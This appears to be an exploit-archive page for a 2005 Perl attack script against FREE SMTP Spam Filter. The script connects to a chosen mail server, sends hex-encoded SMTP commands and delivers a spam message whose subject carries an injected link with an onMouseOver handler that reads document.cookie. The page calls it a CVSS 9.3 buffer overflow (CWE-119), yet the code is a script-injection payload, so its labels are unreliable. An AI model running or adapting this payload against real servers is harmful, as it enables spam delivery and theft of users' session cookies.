FREE SMTP Spam Filter Exploit

vendor:

FREE SMTP Spam Filter

by:

Infam0us Gr0up - Securiti Research

9.3

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: FREE SMTP Spam Filter

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2099

FREE SMTP Spam Filter Exploit

This exploit is a buffer overflow vulnerability in the FREE SMTP Spam Filter software. It allows an attacker to send malicious code to the server, which can be used to execute arbitrary code on the server. The exploit is triggered by sending a specially crafted email with a malicious payload to the server. The malicious payload contains a JavaScript code that will be executed when the user hovers over a link in the email.

Mitigation:

The vendor has released a patch to address this vulnerability. It is recommended to apply the patch as soon as possible.

Source

Exploit-DB raw data:

#!usr/bin/perl
#
#    FREE SMTP Spam Filter Exploit
# ------------------------------------
#  Infam0us Gr0up - Securiti Research
#
# Info: infamous.2hell.com
# Vendor URL: http://www.softstack.com/
# 

use IO::Socket;
use Socket;

print("\n   FREE SMTP Spam Filter Exploit\n");
print(" ---------------------------------\n\n");

# Changes to own feed 
$helo = "mail.test"; # HELO
$mfrom = "[support@vuln.test]"; # MAIL FROM
$rcpto = "[root@localhost]"; # RCPT TO
$date = "11 Feb 2099 12:07:10"; # Date
$from = "Micro SEX's"; # From mailer
$subject = "Check the new version.. ®®®\n".
"[b]VICKY VETTE[/b][i]is HOT Editon.Check it OUT!!. Free Nude Shop. Sex,video,picture,toys and XXX Chat Adults live!!![/i]".
"[br][a href=http://127.0.0.1 onMouseOver=alert(document.cookie);]Click Here[/a]"; # subject spammmer

if($#ARGV < 0 | $#ARGV > 1) { 
die "usage: perl $0 [IP/host] \nExam: perl $0 127.0.0.1 \n" };

$adr = $ARGV[0];
$prt = "25";

# Don't changes this one
$act1 = "\x48\x45\x4c\x4f $helo";
$act2 = "\x4d\x41\x49\x4c \x46\x52\x4f\x4d\x3a$mfrom";
$act3 = "\x52\x43\x50\x54 f\x54\x4f\x3a$rcpto";
$act4 = "\x44\x41\x54\x41";
$act5 = "\x44\x61\x74\x65\x3a $date";

$sub = 
"\x46\x72\x6f\x6d\x3a $from".
"\x53\x75\x62\x6a\x65\x63\x74\x3a $subject\x2e".
"\x51\x55\x49\x54";

print "[+] Connect to $adr..\n";
$remote = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$adr,
PeerPort=>$prt, Reuse=>1) or die "[-] Error: can't connect to $adr:$prt\n";
print "[+] Connected!\n";
$remote->autoflush(1);
print "[*] Send HELO..";
print $remote "$act1" or die "\n[-] Error: can't send xploit code\n";
sleep(1);
print "[OK]\n";
print "[*] Send MAIL FROM..";
print $remote "$act2" or die "\n[-] Error: can't send xploit code\n";
sleep(1);
print "[OK]\n";
print "[*] Send RCPT TO..";
print $remote "$act3" or die "\n[-] Error: can't send xploit code\n";
sleep(1);
print "[OK]\n";
print "[*] Send DATA..";
print $remote "$act4" or die "\n[-] Error: can't send xploit code\n";
sleep(1);
print "[OK]\n";
print "[*] Send DATE..";
print $remote "$act5" or die "\n[-] Error: can't send xploit code\n";
sleep(1);
print "[OK]\n";
print "[*] Send Sub Mail..";
print $remote "$sub" or die "\n[-] Error: can't send xploit code\n";
print "[OK]\n";
print "[*] QUIT..\n";
print "[+] MAIL SPAMWNED!\n\n";
close $remote;
print "press any key to exit..\n";
$bla= [STDIN];

# milw0rm.com [2005-09-02]